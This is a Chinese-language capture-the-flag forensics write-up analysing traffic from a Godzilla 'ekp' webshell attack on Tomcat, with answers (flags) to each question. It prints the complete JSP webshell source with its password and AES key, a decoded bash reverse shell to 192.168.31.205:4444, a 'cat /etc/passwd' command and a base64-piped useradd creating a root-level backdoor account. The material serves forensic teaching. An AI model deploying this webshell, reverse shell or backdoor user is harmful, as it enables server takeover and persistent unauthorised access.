哥斯拉 ekp 版本流量分析
1
黑客上传的木马文件名是什么?
已知是上传文件,所以直接排查 http 会话
很明显的 Tomcat 漏洞利用,使用 PUT 协议写入 webshell
flag{.index.jsp}
2
黑客上传的木马连接密码是什么?
将攻击者植入的 webshell 源码提取
<%!String xc = "9adbe0b3033881f8";
String pass = "mypass";
String md5 = md5(pass + xc);
class X extends ClassLoader {
public X(ClassLoader z) {
super(z);
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}%><%try { byte[] data = base64Decode(request.getParameter(pass).getBytes()); data = base64Decode(data); data = x(data, false); if (session.getAttribute("payload") == null) { session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data)); } else { request.setAttribute("parameters", data); java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(arrOut); f.equals(pageContext); String left = md5.substring(0, 5).toLowerCase(); String replacedString = "var Rebdsek_config=".replace("bdsek", left); response.setContentType("text/html"); response.getWriter().write("<!DOCTYPE html>"); response.getWriter().write("<html lang=\"en\">"); response.getWriter().write("<head>"); response.getWriter().write("<meta charset=\"UTF-8\">"); response.getWriter().write("<title>{title}</title>"); response.getWriter().write("</head>"); response.getWriter().write("<body>"); response.getWriter().write("<script>"); response.getWriter().write("<!-- Baidu Button BEGIN"); response.getWriter().write("<script type=\"text/javascript\"id=\"bdshare_js\"data=\"type=slide&img=8&pos=right&uid=6537022\"></script>"); response.getWriter().write("<script type=\"text/javascript\"id=\"bdshell_js\"></script>"); response.getWriter().write("<script type=\"text/javascript\">"); response.getWriter().write(replacedString); f.toString(); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(";"); response.getWriter().write("document.getElementById(\"bdshell_js\").src = \"http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=\"+ Math.ceil(new Date()/3600000);"); response.getWriter().write("</script>"); response.getWriter().write("-->"); response.getWriter().write("</script>"); response.getWriter().write("</body>"); response.getWriter().write("</html>"); } } catch (Exception e) {}
%>
即可得到答案
flag{mypass}
3
黑客上传的木马连接密钥是什么?
上一题中就有
flag{9adbe0b3033881f8}
4
黑客连接 webshell 后执行的第一条命令是什么?
确定工具为 kong030813/Z-Godzilla_ekp: 哥斯拉 webshell 管理工具二次开发规避流量检测设备
手动对流量进行解密
进一步,尝试进行分析
结合分析,发现核心编码器的变动不多,可以手动分析
经过测试,可以工作
这里附上 Cyberchef 工作流
decode request
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Latin1','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB/NoPadding','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Drop_bytes(0,-16,false)
Gunzip()
Drop_bytes(0,69,false/disabled)
To_Hexdump(16,false,false,false/disabled)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false,false,false)
To_Hexdump(16,false,false,false/disabled)
decode response
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false/disabled)
AES_Decrypt({'option':'Latin1','string':'9adbe0b3033881f8'},{'option':'Hex','string':''},'ECB/NoPadding','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Drop_bytes(0,-9,false)
Gunzip()
Drop_bytes(0,69,false/disabled)
To_Hexdump(16,false,false,false/disabled)
Strings('Single byte',4,'Alphanumeric + punctuation (A)',false,false,false/disabled)
To_Hexdump(16,false,false,false/disabled)
信息
需要注意的是,这里由于请求前后会加上 checksum,所以 Drop_bytes 的偏移量需要手动调整
追踪流量,定位到
解密
flag{cat /etc/passwd}
5
这个木马是根据哪个参数进行回显的?(提交参数名)
直接看流量包即可
flag{Rec106e_config}
6
黑客留下后门的反连的 IP 和 PORT 是什么?flag{IP,PORT}
继续跟进流量
解密得到
提取其中的载荷并解码
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==
/bin/bash -i >& /dev/tcp/192.168.31.205/4444 0>&1
即可得到答案
flag{192.168.31.205,4444}
7
黑客通过后门反连执行的第一条命令是什么?
定位到反弹 shell 的会话
即可确定答案
flag{ls}
8
黑客新增的后门用户名密码是什么?(提交 flag{username,password})
跟进反弹 shell 的会话
echo dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==|base64 -d|bash
dXNlcmFkZCAtcCBgb3BlbnNzbCBwYXNzd2QgLTEgLXNhbHQgJ3NhbHQnIFhqQDY2Ni5gIHggLW8gLXUgMCAtZyByb290IC1HIHJvb3QgLXMgL2Jpbi9iYXNoIA==
useradd -p `openssl passwd -1 -salt 'salt' Xj@666.` x -o -u 0 -g root -G root -s /bin/bash
即可确定答案
flag{x,Xj@666.}